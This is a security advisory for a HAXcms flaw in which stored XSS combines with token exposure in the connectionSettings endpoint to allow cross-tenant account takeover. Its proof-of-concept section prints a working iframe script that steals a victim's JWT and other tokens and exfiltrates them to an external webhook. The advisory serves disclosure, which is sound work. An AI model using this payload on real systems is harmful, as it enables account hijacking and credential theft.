HAXcms EUVD-2026-34890

Summary

An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.

Details

In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.

While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:

1. The Vector: The system is vulnerable to Stored XSS (e.g., via injected iframe srcdoc or <video-player>).
2. The Exposure: Because the connectionSettings endpoint serves the tokens locally based on the active PHPSESSID cookie, any malicious script running in the browser context can intercept these keys.
3. The Chain: HAXcms isolates user environments by URL path (/<username>/). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via fetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.

PoC

1. Setup the Webhook Target Prepare an external webhook (e.g., webhook.site) to receive the stolen data.

2. Inject the "Kill Chain" Payload As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):

<iframe srcdoc="<script>
    const targetUsername = 'bto108'; // Replace with target victim

    fetch(`/${targetUsername}/system/api/connectionSettings`)
      .then(res => res.text())
      .then(data => {
          const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));

          const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
          const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');

          let aToken = 'N/A';
          if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
              aToken = s.appStore.params.appstore_token;
          }

          // Exfiltrate via Image Request to bypass CORS
          const payload = btoa(JSON.stringify({
              target: targetUsername,
              jwt: s.jwt,
              user_token: uToken,
              site_token: sToken,
              appstore_token: aToken
          }));

          new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
      });
</script>" style="display:none"></iframe>

3. Execution & Verification

• When the victim (e.g., user bto108) views the compromised page, their browser automatically fires the fetch request, silently attaching their active session cookie.
• The server responds with their connection settings.
• The script parses their jwt, user_token, and other keys, encoding them in base64.
• The attacker receives the full JWT and token dump on their webhook.

*Screenshots confirming the data leakage and webhook capture:* !Connection Settings Exposure !Secondary Settings Leak !Cross-tenant Exfiltration Console !Webhook Payload Capture !Stolen Data Result

Impact

Critical Severity. This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).

The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.